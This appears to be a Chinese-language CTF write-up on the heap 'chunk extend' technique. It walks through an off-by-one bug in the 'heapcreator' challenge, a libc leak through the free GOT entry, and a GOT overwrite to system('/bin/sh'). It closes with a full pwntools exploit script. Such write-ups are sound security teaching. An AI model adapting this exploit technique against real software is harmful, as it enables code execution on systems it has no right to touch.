仅供个人学习参考

通过chunk extend 可以实现 chunk overlapping (块重叠)
利用条件:
1.程序中存在基于堆的漏洞
2.漏洞可以控制chunk header 中的数据

效果:当chunk1 包含住chunk2时,chunk2可以正常使用,并且通过chunk1可以修改chunk2的内容

例题

附件:https://raw.githubusercontent.com/GNchen1/Pages/main/Img/heapcreator

1

先用ida分析一下各部分
main函数就没什么好看的了,就是一个switch函数
read_input如图
1

create函数就是根据你输入的size大小来创建堆块,并且填入content
1
edit函数这里有个off-by-one漏洞,与上面的create一对比就能发现,编辑content内容时可以多写入一个字节
1
show函数和delete函数也无漏洞

那么我们目前可利用的就是这个off-by-one,它能达到什么效果呢
gdb调试一下
先创建两个堆块
1
进入调试界面后查看chunk内容
1
红色框是heap结构体 绿色框是我们第一次创建的堆块的内容
第二个chunk差不多,就不放图了,我们可以发现heap结构体和堆块的内容是连在一起的
且结构体chunk的内容是堆块的起始地址(0x06032c0)
1
如上图可以看到,红色是结构体1,绿色是heap1内容,黄色是结构体2,蓝色是heap2内容
其中heap1内容chunk与结构体2chunk空间复用,通过上面的off-by-one,我们可以修改结构体2chunk的size,达到chunk extend的效果

经过构造,可以使得heap2的结构体chunk和内容chunk合并为同一个chunk,然后我们把它free掉

我们的目标是执行system(“/bin/sh”),于是考虑,能否将free函数got表改为system函数的got表内容,这样在执行free时就相当于执行system(注意,本题relro保护没有全开,所以可以修改got表)

怎么修改free函数got表呢,上面的chunk extend就可以做到这样的效果
首先我们需要泄露libc基址——通过泄露free函数的真实地址来完成

我们再次申请一个新的堆块。首先申请的是结构体chunk,然后申请的是内容chunk。但是这里要强调的是由于结构体是自定义的,整个结构体只需要0x21个字节就够可以了,所以在申请结构体chunk的时候首先会在fastbin中查找是否有合适大小的chunk可以使用。此时fastbin的0x20链表中挂着之前释放掉的heap2结构体内容chunk,所以刚刚好0x20个字节,这部分0x6033a0的空间就被启用了。接下来由于申请内容大小为0x30,所以fastbin的0x40链表中刚好有之前extent_chunk,所以0x603380这部分的空间就被启用了。需要注意的是:0x6033a0先被启用,0x603380后被启用,这就意味着先被启用的0x20的chunk会被0x40的chunk所覆盖!!!

因此chunk extend后,内容chunk可以覆盖结构体chunk,但是结构体chunk的功能不会改变,于是我们可以修改其content变量,于是我们只需将原来的data地址(0x6033b0)覆盖为free函数的got表地址,再去打印extend后的新的chunk的content,就能打印出free函数的真实地址,从而完成上述目标

接着我们需要将free函数got表改为system函数的got表内容,同样是利用对content变量的覆盖,我们将其覆盖为free函数的got表地址,然后再利用edit去修改其内容

之后我们只需往最开始heap1 填入”/bin/sh”,在free它时就等同于执行system(“/bin/sh”)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level="debug"

io=process("./heapcreator")
elf=ELF("./heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(size,content):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def edit(idx,content):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(content)

def show(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))

def delete(idx):
io.recvuntil(":")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(idx))

create(0x18,"hollk")
create(0x10,"hollk")

edit(0,"/bin/sh\x00"+"a"*0x10+"\x41")

delete(1)

create(0x30,p64(0)*3+p64(0x21)+p64(0x30)+p64(elf.got['free']))
show(1)
io.recvuntil("Content : ")
data1 = io.recvuntil("Done !")

free_addr = u64(data1.split(b"\n")[0].ljust(8,b"\x00"))

libc_base=free_addr-libc.sym['free']
success("libc_base : "+hex(libc_base))
system_addr=libc_base+libc.sym['system']

edit(1,p64(system_addr))

delete(0)

io.interactive()